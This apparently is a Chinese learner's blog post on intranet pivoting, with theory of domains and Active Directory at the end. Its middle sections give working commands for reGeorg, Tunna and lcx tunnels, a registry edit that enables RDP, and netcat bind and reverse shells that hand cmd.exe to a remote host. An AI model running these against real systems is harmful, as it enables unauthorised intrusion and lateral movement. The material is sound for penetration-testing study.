菜狗一个,学到太少了,内网渗透之前也没有怎么接触过,从现在起就开始好好学习一番,争取早点摆脱菜狗称号。
在进行渗透测试过程中会遇到到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。
端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;
socket 被翻译为“套接字”,是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。
Socks 是一种会话层代理协议,设计的最初目的是帮助授权用户突破防火墙的限制,获取普通用户不能访问的外部资源。考虑到几乎所有基于 TCP/IP 的应用软件都使用 socket 进行数据通信,为了便于应用软件的设计和开发,该协议针对 socket 中几种经典操作进行了针对设计,并将其定名为 Socks广泛使用的协议版本是 Socks4 和 Socks5
协议过程
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
正向代理类似一个跳板机,如下图,通过代理机访问外部资源。
#比如国内访问谷歌,直接访问不到 客户端发送数据到代理服务器上,再由代理服务器转发给谷歌获取数据,再返回给客户端 Lhost-->proxy-->Rhost
用途:
反向代理指的是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器
Lhost<-->proxy<-->firewall<-->Rhost
作用:
实验环境:
reGeorg是reDuh的继承者,利用了会话层的socks5协议,而Proxifier是一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络能通过HTTPS或SOCKS代理或代理链。该文件下支持php,asp,jsp,aspx。在安全测试过程中,可以利用他们的组合完成从外网到内网的通信。
模拟的reGeorg转发视图:
这里简单演示一下这个组合要如何进行利用:
拿到一台外网服务器,这台服务器与内网服务器相连,下面将reGeorg对应的脚本上传到服务器端
直接访问上传的脚本文件,出现 Georg says, 'All seems fine' ,表示脚本运行正常
运行reGerog 监听本机一个端口:
python2 reGeorgSocksProxy.py -p 8080 -u http://192.168.66.131/tunnel.nosocket.php
因为是基于socks5,所以本地还需要一个socks5代理工具,这里就用到了proxifier,首先对proxifier进行配置。
使用proxifier需要注意几点:
先编辑本地代理服务器,端口就填刚才监听的
接下来配置代理规则
这样就可以访问内网的服务了
Tunna:可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制
常用参数: -u 远程代理脚本地址 -l 表示本地监听的端口 -r 远程映射端口 -v 输出详细数据 -a 代理远程连接的主机地址
在得到的外网服务器WEB目录上放入Tunna工具
在攻击机上访问
在攻击主机上执行命令,将内网服务器(192.168.142.128)的3389端口映射到本地5555端口
python proxy.py -u http://192.168.13.129/conn.php -l 5555 -a 192.168.142.128 -r 3389 –v
Lcx是一款端口转发工具,有三个功能:
1、将本地端口转发到远程主机某个端口上
2、将本地端口转发到本地另一个端口上
3、进行监听并进行转发使用
前提:
在端口转发的时候需要一台公网服务器
使用场景:
多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口转发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样就可以直接远程连接反弹的端口,便可以与内网主机进行通信。
Windows
Usage:lcx-<listen|tran|slave> <option> [-log logfile] -tran <等待连接的端口> <目标ip> <目标端口> (端口映射) -listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口> (端口转发) -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口> (端口转发)
1、在外网中转服务器上运行
监听本地8888端口,同时将数据转发到10000端口
2、内网需要转发的机器上运行并开启3389端口
lcx -slave 192.168.142.130 8888 192.168.142.128 3389 #开启3389端口-Win7、Win2003、XP系统 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
将内网的3389端口转发到外网的8888端口上
通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口
rdesktop 192.168.13.129:10000
转发成功
NC就是在两台电脑之间建立链接,并返回两个数据流
1、正向连接
在内网机器上:
nc -l -p 8888 -t -e cmd.exe
在公网机器上:
nc -nvv 192.168.142.128 8888
2、反向连接
在公网机器上:
在内网机器上:
nc -t -e cmd.exe 192.168.142.130 8888
上面只是在我们发现有内网服务器的时候进行的代理转发操作,那如何去发现有内网服务器以及信息收集那?
域(Domain)
将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。
域控(DC)
在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。域控是活动目录的存储地方,即活动目录存储在域控制器内。
安装了活动目录的计算机就称为域控制器,其实在第一次安装活动目录的时候,安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。
活动目录(AD)
活动目录是微软Windows Server中,负责架构中大型网路环境的集中式目录管理服务。
活动目录的逻辑结构包裹:域(Domain)、域树(Domain Tree)、林(Forest)和组织单元(Organization Unit)
工作组(Work Group)
工作组是局域网中的一个概念,由许多在同一物理地点,而且被相同的局域网连接起来的用户组成的小组,也可以是遍布一个机构的,但却被同一网络连接的用户构成的逻辑小组。
工作组就是将不同的电脑按功能分别列入不同的组中。
工作组的工作模式:
工作组网络也称为“对等式”的网络,因为网络中每台计算机的地位都是平等的,它们的资源以及管理是分散在每台计算机之上,所以工作组环境的特点就是分散管理,工作组环境中的每台计算机都有自己的“本机安全账户数据库”,称为SAM数据库。
工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。
这次先学习一下如何进行转发代理以及了解一下基础理论,下次就来学习一下内网、域的环境探测以及信息收集的方法。